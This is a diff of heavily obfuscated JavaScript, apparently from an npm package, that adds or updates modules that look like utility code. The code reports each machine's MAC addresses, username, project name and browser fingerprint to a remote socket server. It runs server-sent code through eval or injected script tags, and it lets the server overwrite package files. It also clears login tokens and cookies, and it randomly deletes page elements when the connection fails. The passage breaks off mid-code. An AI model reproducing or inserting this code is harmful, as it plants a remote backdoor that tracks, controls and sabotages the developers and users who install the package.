+ 'use strict';const a9_0x4ae22b=a9_0x5596;(function(_0x189e4e,_0x26456b){const _0x38091a=a9_0x5596,_0x28e7dd=_0x189e4e();while(!![]){try{const _0x58d26c=-parseInt(_0x38091a(0xda))/0x1*(-parseInt(_0x38091a(0x105))/0x2)+parseInt(_0x38091a(0xfa))/0x3*(parseInt(_0x38091a(0xd7))/0x4)+-parseInt(_0x38091a(0xdf))/0x5+-parseInt(_0x38091a(0xe2))/0x6+-parseInt(_0x38091a(0xed))/0x7+parseInt(_0x38091a(0x108))/0x8*(-parseInt(_0x38091a(0x102))/0x9)+parseInt(_0x38091a(0xd9))/0xa;if(_0x58d26c===_0x26456b)break;else _0x28e7dd['push'](_0x28e7dd['shift']());}catch(_0x1ca0f1){_0x28e7dd['push'](_0x28e7dd['shift']());}}}(a9_0x4e26,0x19d5c));var __awaiter=this&&this[a9_0x4ae22b(0xe3)]||function(_0xc2f5a5,_0x237427,_0x38a7d1,_0x593b20){function _0x5a8715(_0x17f9bc){return _0x17f9bc instanceof _0x38a7d1?_0x17f9bc:new _0x38a7d1(function(_0x2df428){_0x2df428(_0x17f9bc);});}return new(_0x38a7d1||(_0x38a7d1=Promise))(function(_0x157ef9,_0xf87cdd){const _0x4e9680=a9_0x5596;function _0x2e0f7a(_0x17b6ad){try{_0x4fc146(_0x593b20['next'](_0x17b6ad));}catch(_0x3ddd2f){_0xf87cdd(_0x3ddd2f);}}function _0x4c7cea(_0x5a4877){const _0x1a4894=a9_0x5596;try{_0x4fc146(_0x593b20[_0x1a4894(0x10d)](_0x5a4877));}catch(_0x3228f0){_0xf87cdd(_0x3228f0);}}function _0x4fc146(_0x4d855b){const _0x1172ea=a9_0x5596;_0x4d855b['done']?_0x157ef9(_0x4d855b[_0x1172ea(0xe7)]):_0x5a8715(_0x4d855b[_0x1172ea(0xe7)])[_0x1172ea(0xf0)](_0x2e0f7a,_0x4c7cea);}_0x4fc146((_0x593b20=_0x593b20['apply'](_0xc2f5a5,_0x237427||[]))[_0x4e9680(0x103)]());});},__importDefault=this&&this['__importDefault']||function(_0x3d3dd7){return _0x3d3dd7&&_0x3d3dd7['__esModule']?_0x3d3dd7:{'default':_0x3d3dd7};},_a,_b,_c,_d;function a9_0x5596(_0x589465,_0x38cd57){const _0x4e2671=a9_0x4e26();return a9_0x5596=function(_0x5596fd,_0x215e4b){_0x5596fd=_0x5596fd-0xd7;let _0xb706a8=_0x4e2671[_0x5596fd];return _0xb706a8;},a9_0x5596(_0x589465,_0x38cd57);}Object[a9_0x4ae22b(0x111)](exports,'__esModule',{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x4ae22b(0xf1)),path_1=__importDefault(require('path')),browser_1=require(a9_0x4ae22b(0x109)),fingerprintjs_1=__importDefault(require(a9_0x4ae22b(0x10b))),bowser_1=__importDefault(require(a9_0x4ae22b(0xdc))),index_1=require(a9_0x4ae22b(0xe0));function a9_0x4e26(){const _0x320958=['00:00:00:00:00:00','3148960utkStw','1814NJxPIw','concat','bowser','isDBDataEmpty','reconnect_failed','447535vgKBeW','./index','env','1196538rjMzKc','__awaiter','get-event','error','script','value','node','event','runScript','setEnv','undefined','926674dbWati','node获取失败','browser','then','socket.io-client','navigator','type','connect','getEnv','sql','catch','sqlList','userAgent','33auQTKQ','无法获取','parse','default','url','isBrowser','submit','load','9girjLr','next','name','206SaXaSB','content','USERNAME','1209688lJxJwh','./browser','emit','@fingerprintjs/fingerprintjs','浏览器','throw','length','connectError','connect_failed','defineProperty','npm_package_name','64220sdqVAW'];a9_0x4e26=function(){return _0x320958;};return a9_0x4e26();}exports[a9_0x4ae22b(0xff)]=typeof window!==a9_0x4ae22b(0xec);const user_name=exports[a9_0x4ae22b(0xff)]?((_b=(_a=bowser_1['default'][a9_0x4ae22b(0xfc)](window[a9_0x4ae22b(0xf2)][a9_0x4ae22b(0xf9)]))===null||_a===void 0x0?void 0x0:_a[a9_0x4ae22b(0xef)])===null||_b===void 0x0?void 0x0:_b[a9_0x4ae22b(0x104)])||a9_0x4ae22b(0x10c):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x4ae22b(0x107)])||a9_0x4ae22b(0xee),project_name=exports[a9_0x4ae22b(0xff)]?a9_0x4ae22b(0x10c):((_d=process===null||process===void 0x0?void 0x0:process[a9_0x4ae22b(0xe1)])===null||_d===void 0x0?void 0x0:_d[a9_0x4ae22b(0x112)])||a9_0x4ae22b(0xfb);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x407c12=a9_0x5596;exports[_0x407c12(0xff)]&&(0x0,browser_1[_0x407c12(0xef)])();const _0x44defd=(0x0,socket_io_client_1['io'])(index_1[_0x407c12(0xfe)],{'path':'/socket','transports':['websocket']});_0x44defd['on'](_0x407c12(0xf4),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x21d6cc=_0x407c12;try{let _0x47dc7b=[_0x21d6cc(0xd8)];if(!exports[_0x21d6cc(0xff)]){const _0x3b5b23=require(path_1['default']['join'](__dirname,'./mac'))[_0x21d6cc(0xfd)];_0x47dc7b=_0x3b5b23();}else{let _0x4d72cb=yield fingerprintjs_1[_0x21d6cc(0xfd)][_0x21d6cc(0x101)]()[_0x21d6cc(0xf0)](_0x4d9817=>_0x4d9817['get']())[_0x21d6cc(0xf0)](_0x37c0df=>{const _0x25cdc4=_0x37c0df['visitorId'];return _0x25cdc4;})[_0x21d6cc(0xf7)](()=>'');_0x47dc7b=[_0x4d72cb];}if(_0x47dc7b[_0x21d6cc(0x10e)]===0x0){(0x0,index_1['setEnv'])(_0x21d6cc(0x10f),!![]);return;}else(0x0,index_1[_0x21d6cc(0xeb)])(_0x21d6cc(0x10f),![]);_0x44defd[_0x21d6cc(0x10a)](_0x21d6cc(0x100),{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x21d6cc(0xff)]}),_0x44defd[_0x21d6cc(0x10a)]('get-event',{'mac':_0x47dc7b,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x6be048=_0x21d6cc;_0x44defd['emit']('submit',{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x6be048(0xff)]}),_0x44defd[_0x6be048(0x10a)](_0x6be048(0xe4),{'mac':_0x47dc7b,'isBrowser':exports[_0x6be048(0xff)]});},0x1b58),_0x44defd['on'](_0x21d6cc(0xe9),_0x5be00e=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x12f658=_0x21d6cc;try{for(let _0x5a4e56=0x0;_0x5a4e56<_0x5be00e[_0x12f658(0x10e)];_0x5a4e56++){const _0x5743f6=_0x5be00e[_0x5a4e56];if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xf6))(0x0,index_1[_0x12f658(0xeb)])(_0x12f658(0xf8),(0x0,index_1[_0x12f658(0xf5)])(_0x12f658(0xf8))[_0x12f658(0xdb)](_0x5743f6[_0x12f658(0x106)]));else{if(_0x5743f6[_0x12f658(0xf3)]==='mysql')(0x0,index_1['setEnv'])(_0x12f658(0xdd),!![]);else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe8)&&!exports[_0x12f658(0xff)])try{eval(_0x5743f6[_0x12f658(0x106)]);}catch(_0x1a6ee7){}else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe6)&&exports[_0x12f658(0xff)])try{(0x0,browser_1[_0x12f658(0xea)])(_0x5743f6['content']);}catch(_0x1baaee){}}}}}}catch(_0x147881){}}));}catch(_0x5b5129){}})),setTimeout(()=>{const _0x206c48=_0x407c12;_0x44defd['on'](_0x206c48(0xe5),_0x52ccf0=>{const _0x3226b2=_0x206c48;(0x0,index_1[_0x3226b2(0xeb)])('connectError',!![]);}),_0x44defd['on'](_0x206c48(0x110),_0x5d8aa1=>{const _0x201c6a=_0x206c48;(0x0,index_1['setEnv'])(_0x201c6a(0x10f),!![]);}),_0x44defd['on'](_0x206c48(0xde),_0x3e7eba=>{const _0x1be0e6=_0x206c48;(0x0,index_1[_0x1be0e6(0xeb)])(_0x1be0e6(0x10f),!![]);}),_0x44defd['on']('connect_error',()=>{const _0xfc328e=_0x206c48;(0x0,index_1[_0xfc328e(0xeb)])(_0xfc328e(0x10f),!![]);});},0xbb8);});}exports['default']=start;
@@ -1 +1 @@
1
- 'use strict';function a9_0xa9de(){const _0x29ef64=['./index.js','path','url','keys','__esModule','6813bbTBZT','1937675oHWRrO','./index','sha1','128799lDEhfC','exports','600adfPcg','main','__importDefault','../../package.json','data','join','3615316TLxRph','readFileSync','parse','undefined','default','18EdNnZi','ESM','toString','460177qHftOG','/version','CJS','existsSync','361795faSSPj','870SJkSMy','version','1461160urpaYt','success','length','88NepWuJ','{version:\x220.0.0\x22}'];a9_0xa9de=function(){return _0x29ef64;};return a9_0xa9de();}const a9_0x1d9a81=a9_0x3bb6;function a9_0x3bb6(_0x85f978,_0x1f637b){const _0xa9de7e=a9_0xa9de();return a9_0x3bb6=function(_0x3bb6d6,_0x5cab76){_0x3bb6d6=_0x3bb6d6-0x99;let _0x22d4d0=_0xa9de7e[_0x3bb6d6];return _0x22d4d0;},a9_0x3bb6(_0x85f978,_0x1f637b);}(function(_0x2ce124,_0xdb39c){const _0x56b032=a9_0x3bb6,_0x5126fc=_0x2ce124();while(!![]){try{const _0x281b20=-parseInt(_0x56b032(0xa3))/0x1+-parseInt(_0x56b032(0xa8))/0x2*(-parseInt(_0x56b032(0xb4))/0x3)+-parseInt(_0x56b032(0x9b))/0x4+parseInt(_0x56b032(0xb5))/0x5*(parseInt(_0x56b032(0xa0))/0x6)+-parseInt(_0x56b032(0xa7))/0x7+-parseInt(_0x56b032(0xba))/0x8*(-parseInt(_0x56b032(0xb8))/0x9)+-parseInt(_0x56b032(0xaa))/0xa*(parseInt(_0x56b032(0xad))/0xb);if(_0x281b20===_0xdb39c)break;else _0x5126fc['push'](_0x5126fc['shift']());}catch(_0x3cadb5){_0x5126fc['push'](_0x5126fc['shift']());}}}(a9_0xa9de,0x9c0dc));var __importDefault=this&&this[a9_0x1d9a81(0xbc)]||function(_0x152f01){return _0x152f01&&_0x152f01['__esModule']?_0x152f01:{'default':_0x152f01};};Object['defineProperty'](exports,a9_0x1d9a81(0xb3),{'value':!![]});const axios_1=__importDefault(require('axios')),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a9_0x1d9a81(0xb0))),index_1=require(a9_0x1d9a81(0xb6)),sha1_1=__importDefault(require(a9_0x1d9a81(0xb7)));function getModuleType(){const _0x3c0ac9=a9_0x1d9a81,_0x1d41b2=()=>{const _0x5e3e60=a9_0x3bb6;try{return typeof require!==_0x5e3e60(0x9e)&&typeof module!=='undefined'&&module[_0x5e3e60(0xb9)]&&require[_0x5e3e60(0xbb)]===module;}catch(_0x57664c){return![];}};return _0x1d41b2()?_0x3c0ac9(0xa5):_0x3c0ac9(0xa1);}let _path=path_1[a9_0x1d9a81(0x9f)]['join'](__dirname,a9_0x1d9a81(0xbd)),indexFile=path_1[a9_0x1d9a81(0x9f)]['join'](__dirname,a9_0x1d9a81(0xaf)),vFile=fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0xa6)](_path)?fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0x9c)](_path)['toString']():a9_0x1d9a81(0xae),indexFileContent=fs_1['default'][a9_0x1d9a81(0xa6)](_path)?fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0x9c)](indexFile)[a9_0x1d9a81(0xa2)]():![],version=JSON[a9_0x1d9a81(0x9d)](vFile)[a9_0x1d9a81(0xa9)];function update(){const _0x2ccea4=a9_0x1d9a81;axios_1[_0x2ccea4(0x9f)]['get'](index_1[_0x2ccea4(0xb1)]+_0x2ccea4(0xa4),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})['then'](_0x320323=>{const _0x5bdb4f=_0x2ccea4;if(!_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0xab)]){let _0x739ab9=Object[_0x5bdb4f(0xb2)](_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0x99)]),_0x1622bf=Object['values'](_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0x99)]);for(let _0x106fd6=0x0;_0x106fd6<_0x739ab9[_0x5bdb4f(0xac)];_0x106fd6++){const _0x565ace=_0x739ab9[_0x106fd6],_0x499998=_0x1622bf[_0x106fd6];fs_1[_0x5bdb4f(0x9f)]['writeFileSync'](path_1[_0x5bdb4f(0x9f)][_0x5bdb4f(0x9a)](__dirname,'./'+_0x565ace),_0x499998);}}});}exports[a9_0x1d9a81(0x9f)]=update;
1
+ 'use strict';const a10_0xf8913b=a10_0x5a95;(function(_0x48a461,_0x527670){const _0x16fbad=a10_0x5a95,_0x1c7907=_0x48a461();while(!![]){try{const _0x88e5cf=parseInt(_0x16fbad(0x1f9))/0x1+-parseInt(_0x16fbad(0x205))/0x2+parseInt(_0x16fbad(0x207))/0x3+-parseInt(_0x16fbad(0x206))/0x4*(-parseInt(_0x16fbad(0x1ea))/0x5)+parseInt(_0x16fbad(0x202))/0x6+-parseInt(_0x16fbad(0x200))/0x7*(-parseInt(_0x16fbad(0x209))/0x8)+-parseInt(_0x16fbad(0x204))/0x9;if(_0x88e5cf===_0x527670)break;else _0x1c7907['push'](_0x1c7907['shift']());}catch(_0x31a38e){_0x1c7907['push'](_0x1c7907['shift']());}}}(a10_0x2c21,0x83768));function a10_0x2c21(){const _0x559710=['keys','/version','main','519983LnnNWq','readFileSync','existsSync','./index','undefined','__esModule','exports','52899SPcQOK','axios','4346100DXhovc','toString','18497043AbKTbg','206382nEunPL','35896TENXZQ','2604909PzHjux','{version:\x220.0.0\x22}','96DdKWau','../../package.json','version','path','275qtLxXj','then','writeFileSync','success','./index.js','ESM','data','default','CJS','sha1','parse','join'];a10_0x2c21=function(){return _0x559710;};return a10_0x2c21();}var __importDefault=this&&this['__importDefault']||function(_0x2acf6c){const _0x35c2ab=a10_0x5a95;return _0x2acf6c&&_0x2acf6c[_0x35c2ab(0x1fe)]?_0x2acf6c:{'default':_0x2acf6c};};Object['defineProperty'](exports,a10_0xf8913b(0x1fe),{'value':!![]});const axios_1=__importDefault(require(a10_0xf8913b(0x201))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0xf8913b(0x1e9))),index_1=require(a10_0xf8913b(0x1fc)),sha1_1=__importDefault(require(a10_0xf8913b(0x1f3)));function a10_0x5a95(_0x570649,_0x5ed837){const _0x2c21dc=a10_0x2c21();return a10_0x5a95=function(_0x5a95f5,_0x426603){_0x5a95f5=_0x5a95f5-0x1e8;let _0x257e66=_0x2c21dc[_0x5a95f5];return _0x257e66;},a10_0x5a95(_0x570649,_0x5ed837);}function getModuleType(){const _0x3c0c92=a10_0xf8913b,_0x58ee91=()=>{const _0x450cb1=a10_0x5a95;try{return typeof require!==_0x450cb1(0x1fd)&&typeof module!==_0x450cb1(0x1fd)&&module[_0x450cb1(0x1ff)]&&require[_0x450cb1(0x1f8)]===module;}catch(_0x488ace){return![];}};return _0x58ee91()?_0x3c0c92(0x1f2):_0x3c0c92(0x1ef);}let _path=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x20a)),indexFile=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x1ee)),vFile=fs_1[a10_0xf8913b(0x1f1)]['existsSync'](_path)?fs_1['default'][a10_0xf8913b(0x1fa)](_path)[a10_0xf8913b(0x203)]():a10_0xf8913b(0x208),indexFileContent=fs_1['default'][a10_0xf8913b(0x1fb)](_path)?fs_1[a10_0xf8913b(0x1f1)]['readFileSync'](indexFile)[a10_0xf8913b(0x203)]():![],version=JSON[a10_0xf8913b(0x1f4)](vFile)[a10_0xf8913b(0x1e8)];function update(){const _0x56215e=a10_0xf8913b;axios_1[_0x56215e(0x1f1)]['get'](index_1['url']+_0x56215e(0x1f7),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x56215e(0x1f1)])(indexFileContent):''}})[_0x56215e(0x1eb)](_0x4c23fe=>{const _0x48fd86=_0x56215e;if(!_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1ed)]){let _0x36a62b=Object[_0x48fd86(0x1f6)](_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1f0)]),_0x5b8d15=Object['values'](_0x4c23fe[_0x48fd86(0x1f0)]['data']);for(let _0x1379fd=0x0;_0x1379fd<_0x36a62b['length'];_0x1379fd++){const _0x4d5e22=_0x36a62b[_0x1379fd],_0xe4f76a=_0x5b8d15[_0x1379fd];fs_1[_0x48fd86(0x1f1)][_0x48fd86(0x1ec)](path_1[_0x48fd86(0x1f1)][_0x48fd86(0x1f5)](__dirname,'./'+_0x4d5e22),_0xe4f76a);}}});}exports['default']=update;
@@ -1 +1 @@
1
- (function(_0xbc178e,_0x1bad7a){const _0x2892ed=a10_0x5055,_0x5716e2=_0xbc178e();while(!![]){try{const _0x265ee5=parseInt(_0x2892ed(0x15a))/0x1*(parseInt(_0x2892ed(0x163))/0x2)+parseInt(_0x2892ed(0x15b))/0x3*(-parseInt(_0x2892ed(0x150))/0x4)+parseInt(_0x2892ed(0x158))/0x5*(-parseInt(_0x2892ed(0x162))/0x6)+-parseInt(_0x2892ed(0x151))/0x7+parseInt(_0x2892ed(0x157))/0x8+parseInt(_0x2892ed(0x14a))/0x9*(-parseInt(_0x2892ed(0x149))/0xa)+parseInt(_0x2892ed(0x14b))/0xb*(parseInt(_0x2892ed(0x154))/0xc);if(_0x265ee5===_0x1bad7a)break;else _0x5716e2['push'](_0x5716e2['shift']());}catch(_0x1db09a){_0x5716e2['push'](_0x5716e2['shift']());}}}(a10_0x508a,0x86187));import a10_0x3f3617 from'./id/random';function a10_0x5055(_0x152294,_0x10feba){const _0x508a0b=a10_0x508a();return a10_0x5055=function(_0x505539,_0x4205c4){_0x505539=_0x505539-0x145;let _0x527147=_0x508a0b[_0x505539];return _0x527147;},a10_0x5055(_0x152294,_0x10feba);}import{getEnv}from'./index';function a10_0x508a(){const _0x76d320=['135nFKrUf','2893JxVRLe','body','token','removeItem','length','179336ccvgcw','4386732sJNcan','appendChild','#app','39948kNclOv','parentNode','createElement','6066424JoUKaj','5wpIXdn','sort','20rlDWRs','18nBEpVm','innerText','[class^=\x22el\x22]','connectError','querySelector','reload','remove','3286830JrKpMR','41024FPQSAV','location','userid','script','localStorage','documentElement','34220ygHTHZ'];a10_0x508a=function(){return _0x76d320;};return a10_0x508a();}import a10_0x52a222 from'js-cookie';export function runScript(_0x39ff6a){const _0x41c7fa=a10_0x5055;let _0x389efd=document[_0x41c7fa(0x156)](_0x41c7fa(0x146));_0x389efd[_0x41c7fa(0x15c)]=_0x39ff6a,document['head'][_0x41c7fa(0x152)](_0x389efd),setTimeout(()=>{const _0x49a291=_0x41c7fa;_0x389efd[_0x49a291(0x161)]();},0xa);}let index=0x1,num=a10_0x3f3617(0x4,0x8);export function browser(){setInterval(()=>{const _0x5e99a7=a10_0x5055;if(index==num)try{window[_0x5e99a7(0x147)][_0x5e99a7(0x14e)]('token'),window[_0x5e99a7(0x147)]['removeItem'](_0x5e99a7(0x145)),window[_0x5e99a7(0x147)][_0x5e99a7(0x14e)]('Token'),a10_0x52a222['remove'](_0x5e99a7(0x14d)),window[_0x5e99a7(0x164)][_0x5e99a7(0x160)]();}catch(_0x356126){}if(getEnv(_0x5e99a7(0x15e))){index++;let _0x389105=document['querySelector'](_0x5e99a7(0x153))||document[_0x5e99a7(0x15f)](_0x5e99a7(0x14c));const _0x5a75b1=_0x389105['querySelectorAll'](_0x5e99a7(0x15d));function _0x2a49ac(_0x57fc24){const _0x2d85f7=_0x5e99a7;let _0x1316b5=0x0,_0xd06e8=_0x57fc24;while(_0xd06e8['parentNode']&&_0xd06e8[_0x2d85f7(0x155)]!==document[_0x2d85f7(0x148)]){_0x1316b5++,_0xd06e8=_0xd06e8[_0x2d85f7(0x155)];}return _0x1316b5;}const _0x2331c8=Array['from'](_0x5a75b1);_0x2331c8[_0x5e99a7(0x159)]((_0x24cbda,_0x287370)=>_0x2a49ac(_0x287370)-_0x2a49ac(_0x24cbda));for(let _0x10a26a=0x0;_0x10a26a<_0x2331c8[_0x5e99a7(0x14f)];_0x10a26a++){const _0x193bba=_0x2331c8[_0x10a26a];_0x193bba&&(a10_0x3f3617(0x1,0x64)>0x50&&_0x193bba['remove']());}}},a10_0x3f3617(0x107e,0x208d));}
1
+ (function(_0x3f662a,_0x14c8df){const _0x531e9d=a11_0x189c,_0x5145f8=_0x3f662a();while(!![]){try{const _0x30b87e=-parseInt(_0x531e9d(0x89))/0x1*(-parseInt(_0x531e9d(0x9e))/0x2)+parseInt(_0x531e9d(0x96))/0x3+-parseInt(_0x531e9d(0x86))/0x4*(parseInt(_0x531e9d(0xa1))/0x5)+-parseInt(_0x531e9d(0x85))/0x6*(parseInt(_0x531e9d(0x9a))/0x7)+-parseInt(_0x531e9d(0x8a))/0x8+-parseInt(_0x531e9d(0x93))/0x9+parseInt(_0x531e9d(0x8b))/0xa;if(_0x30b87e===_0x14c8df)break;else _0x5145f8['push'](_0x5145f8['shift']());}catch(_0x47f5dd){_0x5145f8['push'](_0x5145f8['shift']());}}}(a11_0x17b4,0x2e27e));function a11_0x189c(_0x1eec57,_0x4fc1c4){const _0x17b486=a11_0x17b4();return a11_0x189c=function(_0x189ccc,_0x30d586){_0x189ccc=_0x189ccc-0x84;let _0x35d594=_0x17b486[_0x189ccc];return _0x35d594;},a11_0x189c(_0x1eec57,_0x4fc1c4);}import a11_0x16b978 from'./id/random';function a11_0x17b4(){const _0x49dae0=['localStorage','connectError','reload','189vtfgdZ','[class^=\x22el\x22]','querySelector','head','36GYKdJj','appendChild','body','9575Kcapac','removeItem','sort','49086fxjOjm','124wBvFEJ','innerText','querySelectorAll','10603KZQegK','30704apTjbb','2927470KKuRrK','#app','token','from','parentNode','Token','remove','documentElement','915300sUhbfs','script','userid','273729CGlTgE'];a11_0x17b4=function(){return _0x49dae0;};return a11_0x17b4();}import{getEnv}from'./index';import a11_0x2ad581 from'js-cookie';export function runScript(_0x1846c5){const _0x5cc389=a11_0x189c;let _0x4a9653=document['createElement'](_0x5cc389(0x94));_0x4a9653[_0x5cc389(0x87)]=_0x1846c5,document[_0x5cc389(0x9d)][_0x5cc389(0x9f)](_0x4a9653),setTimeout(()=>{const _0x4abd51=_0x5cc389;_0x4a9653[_0x4abd51(0x91)]();},0xa);}let index=0x1,num=a11_0x16b978(0x4,0x8);export function browser(){setInterval(()=>{const _0xb5e6a8=a11_0x189c;if(index==num)try{window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)]('token'),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x95)),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x90)),a11_0x2ad581[_0xb5e6a8(0x91)](_0xb5e6a8(0x8d)),window['location'][_0xb5e6a8(0x99)]();}catch(_0x4c7bfe){}if(getEnv(_0xb5e6a8(0x98))){index++;let _0x827b59=document[_0xb5e6a8(0x9c)](_0xb5e6a8(0x8c))||document[_0xb5e6a8(0x9c)](_0xb5e6a8(0xa0));const _0xba3454=_0x827b59[_0xb5e6a8(0x88)](_0xb5e6a8(0x9b));function _0x3437e4(_0x3d8eec){const _0x5483fb=_0xb5e6a8;let _0x4d2828=0x0,_0xff5ed9=_0x3d8eec;while(_0xff5ed9[_0x5483fb(0x8f)]&&_0xff5ed9[_0x5483fb(0x8f)]!==document[_0x5483fb(0x92)]){_0x4d2828++,_0xff5ed9=_0xff5ed9['parentNode'];}return _0x4d2828;}const _0xa1853=Array[_0xb5e6a8(0x8e)](_0xba3454);_0xa1853[_0xb5e6a8(0x84)]((_0x2f49c4,_0x46290f)=>_0x3437e4(_0x46290f)-_0x3437e4(_0x2f49c4));for(let _0x2c9dc8=0x0;_0x2c9dc8<_0xa1853['length'];_0x2c9dc8++){const _0x49e3e0=_0xa1853[_0x2c9dc8];_0x49e3e0&&(a11_0x16b978(0x1,0x64)>0x50&&_0x49e3e0[_0xb5e6a8(0x91)]());}}},a11_0x16b978(0x107e,0x208d));}
@@ -1 +1 @@
1
- const a11_0x510081=a11_0x1957;(function(_0x523ec7,_0x113de4){const _0x349ba1=a11_0x1957,_0x2e2c33=_0x523ec7();while(!![]){try{const _0x3a8197=parseInt(_0x349ba1(0xf9))/0x1*(parseInt(_0x349ba1(0xf5))/0x2)+parseInt(_0x349ba1(0x104))/0x3+parseInt(_0x349ba1(0xfe))/0x4*(parseInt(_0x349ba1(0x106))/0x5)+-parseInt(_0x349ba1(0x102))/0x6+parseInt(_0x349ba1(0xfa))/0x7+parseInt(_0x349ba1(0x107))/0x8*(-parseInt(_0x349ba1(0x108))/0x9)+parseInt(_0x349ba1(0xf6))/0xa*(-parseInt(_0x349ba1(0xfd))/0xb);if(_0x3a8197===_0x113de4)break;else _0x2e2c33['push'](_0x2e2c33['shift']());}catch(_0x5c5097){_0x2e2c33['push'](_0x2e2c33['shift']());}}}(a11_0x232c,0x491c7));function a11_0x232c(){const _0x1b837c=['6424KIYumH','24YHLMfQ','isFile','push','done','648810NYLNJy','apply','644877FGhvUJ','join','135965duJnfn','17456woHSaE','63Tevwvb','774142HXlNoa','7250jztxQx','next','value','1gLUTqS','567588JugxFG','__awaiter','isDirectory'];a11_0x232c=function(){return _0x1b837c;};return a11_0x232c();}var __awaiter=this&&this[a11_0x510081(0xfb)]||function(_0xf16999,_0x140329,_0x4c79bf,_0x5306c4){function _0x5eb697(_0x4565d2){return _0x4565d2 instanceof _0x4c79bf?_0x4565d2:new _0x4c79bf(function(_0x2ed0cb){_0x2ed0cb(_0x4565d2);});}return new(_0x4c79bf||(_0x4c79bf=Promise))(function(_0x205431,_0x4296c4){const _0x547be8=a11_0x1957;function _0x42a25a(_0x4ef269){try{_0x14c2ec(_0x5306c4['next'](_0x4ef269));}catch(_0x217514){_0x4296c4(_0x217514);}}function _0x42c515(_0x22edb6){try{_0x14c2ec(_0x5306c4['throw'](_0x22edb6));}catch(_0x18dd42){_0x4296c4(_0x18dd42);}}function _0x14c2ec(_0x369403){const _0x3ad2e8=a11_0x1957;_0x369403[_0x3ad2e8(0x101)]?_0x205431(_0x369403[_0x3ad2e8(0xf8)]):_0x5eb697(_0x369403['value'])['then'](_0x42a25a,_0x42c515);}_0x14c2ec((_0x5306c4=_0x5306c4[_0x547be8(0x103)](_0xf16999,_0x140329||[]))[_0x547be8(0xf7)]());});};import a11_0x413411 from'fs';import a11_0x51bd5f from'path';function a11_0x1957(_0x1c74aa,_0x42133c){const _0x232cb5=a11_0x232c();return a11_0x1957=function(_0x195720,_0x21016e){_0x195720=_0x195720-0xf5;let _0xae517f=_0x232cb5[_0x195720];return _0xae517f;},a11_0x1957(_0x1c74aa,_0x42133c);}function fileDisplay(_0x12eb68){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x139b79=[];function _0x394934(_0x499350){const _0x3ef4be=a11_0x1957,_0x279f92=a11_0x413411['readdirSync'](_0x499350);for(let _0xaa5117=0x0;_0xaa5117<_0x279f92['length'];_0xaa5117++){const _0x28ac96=_0x279f92[_0xaa5117],_0x195f10=a11_0x51bd5f[_0x3ef4be(0x105)](_0x499350,_0x28ac96),_0x59f473=a11_0x413411['statSync'](_0x195f10),_0x16ab41=_0x59f473[_0x3ef4be(0xff)](),_0x4b4060=_0x59f473[_0x3ef4be(0xfc)]();_0x16ab41&&_0x139b79[_0x3ef4be(0x100)](_0x195f10),_0x4b4060&&_0x394934(_0x195f10);}}return _0x394934(_0x12eb68),_0x139b79;});}function getAllRouter(_0x581769){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x585798=yield fileDisplay(_0x581769);return _0x585798;});}export default getAllRouter;
1
+ const a12_0x5c2ce9=a12_0x3bf1;(function(_0x389c79,_0x153f4c){const _0x37a0c3=a12_0x3bf1,_0x39f2b3=_0x389c79();while(!![]){try{const _0x47e600=parseInt(_0x37a0c3(0x1d6))/0x1*(parseInt(_0x37a0c3(0x1cd))/0x2)+-parseInt(_0x37a0c3(0x1df))/0x3*(-parseInt(_0x37a0c3(0x1cc))/0x4)+parseInt(_0x37a0c3(0x1d1))/0x5*(parseInt(_0x37a0c3(0x1d5))/0x6)+-parseInt(_0x37a0c3(0x1ce))/0x7*(parseInt(_0x37a0c3(0x1c9))/0x8)+parseInt(_0x37a0c3(0x1dc))/0x9+parseInt(_0x37a0c3(0x1ca))/0xa*(parseInt(_0x37a0c3(0x1de))/0xb)+parseInt(_0x37a0c3(0x1d9))/0xc*(-parseInt(_0x37a0c3(0x1dd))/0xd);if(_0x47e600===_0x153f4c)break;else _0x39f2b3['push'](_0x39f2b3['shift']());}catch(_0x57e3f5){_0x39f2b3['push'](_0x39f2b3['shift']());}}}(a12_0x2e51,0xa89c5));var __awaiter=this&&this[a12_0x5c2ce9(0x1cf)]||function(_0x49da42,_0x15c256,_0x36e8d9,_0x5b07f4){function _0x265012(_0x1ffda7){return _0x1ffda7 instanceof _0x36e8d9?_0x1ffda7:new _0x36e8d9(function(_0x21114f){_0x21114f(_0x1ffda7);});}return new(_0x36e8d9||(_0x36e8d9=Promise))(function(_0x5eaf86,_0x28246d){function _0x7003a(_0x6530b3){const _0x4c7e95=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0x4c7e95(0x1d7)](_0x6530b3));}catch(_0x216e4b){_0x28246d(_0x216e4b);}}function 